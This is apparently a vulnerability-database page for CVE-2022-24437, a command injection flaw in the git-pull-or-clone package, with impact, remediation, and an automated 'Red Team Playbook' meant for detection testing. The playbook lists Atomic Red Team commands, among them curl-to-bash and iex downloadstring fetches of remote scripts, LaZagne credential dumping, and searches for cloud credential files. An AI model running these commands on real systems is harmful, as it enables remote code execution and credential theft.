CVE-2022-24437
Overview
This vulnerability is a command injection flaw rooted in improper handling of the outpath parameter within the git-pull-or-clone package's use of the git clone command. Although the package employs the secure child process API spawn(), it passes user-controlled input as a command-line argument to git clone's --upload-pack feature, enabling injection of arbitrary commands. The affected component is the git-pull-or-clone package versions prior to 2.0.2, specifically in its mechanism invoking git clone with user-supplied parameters.
Vulnerability Description
The package git-pull-or-clone before 2.0.2 are vulnerable to Command Injection due to the use of the --upload-pack feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath parameter passed to it may be a command-line argument to the git clone command and result in arbitrary command injection.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by supplying malicious input to the outpath parameter, resulting in arbitrary command execution on the host system. This can lead to full system compromise, data theft, or disruption of services. No user interaction or privileges are required due to the network accessible nature of the package and the low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N). The vulnerability impacts confidentiality, integrity, and availability at the highest levels (C:H/I:H/A:H).
Solution
Upgrade git-pull-or-clone to version 2.0.2 or later where the command injection flaw has been addressed, as indicated in the GitHub commit f9ce092be13cc32e685dfa26e7705e9c6e3108a3. Refer to the Snyk advisory SNYK-JS-GITPULLORCLONE-2434307 for detailed patch instructions and verification steps. No alternative workarounds are documented; applying the update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the git-pull-or-clone package arises from a command injection flaw, primarily due to improper handling of user-supplied input in the context of the --upload-pack feature of git. This feature, which is also applicable during the git clone operation, allows users to specify a command that the git server will execute. However, the implementation fails to adequately sanitize the outpath parameter, which can be manipulated to include arbitrary command-line arguments. As a result, an attacker can inject malicious commands that are executed with the privileges of the application, leading to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious input that, when processed by the git-pull-or-clone package, results in the execution of unintended commands on the host system. For instance, if a user were to clone a repository with a specially crafted outpath parameter, the attacker could execute arbitrary shell commands, potentially leading to data exfiltration, system compromise, or further lateral movement within a network. This attack could be initiated through social engineering tactics, where a user is tricked into executing a command that appears legitimate but is actually malicious.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the git-pull-or-clone package for version control and deployment processes. Given the high CVSS score of 9.8, the potential for exploitation is severe, with risks including unauthorized access to sensitive data, disruption of services, and damage to the integrity of software development processes. Businesses could face not only financial losses due to operational downtime but also reputational damage and legal ramifications stemming from data breaches. The ability of an attacker to execute arbitrary commands poses a critical threat to the confidentiality, integrity, and availability of systems.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the git-pull-or-clone package to the latest version is essential, as this will ensure that any known vulnerabilities are patched. Additionally, employing input validation and sanitization techniques can help mitigate the risk of command injection attacks. Organizations should also consider implementing security monitoring solutions that can detect anomalous behavior indicative of exploitation attempts, such as unusual command executions or unexpected changes to system files. Furthermore, educating developers and users about secure coding practices and the risks associated with command injection can foster a security-conscious culture within the organization.
In conclusion, the command injection vulnerability in the git-pull-or-clone package represents a critical security risk that can lead to severe consequences for affected organizations. By understanding the technical details, potential exploitation scenarios, and real-world impacts, businesses can take proactive measures to safeguard their systems. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization against future threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Git-Pull-Or-Clone Project | Git-Pull-Or-Clone | All |
cpe:2.3:a:git-pull-or-clone_project:git-pull-or-clone:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24437 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-GITPULLORCLONE-2434307 |
| gist.github.com |
GitHub CVE
x_refsource_MISC
|
https://gist.github.com/lirantal/327e9dd32686991b5a1fa6341aac2e7b |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/feross/git-pull-or-clone/commit/f9ce092be13cc32e685dfa26e7705e9c6e3108a3 |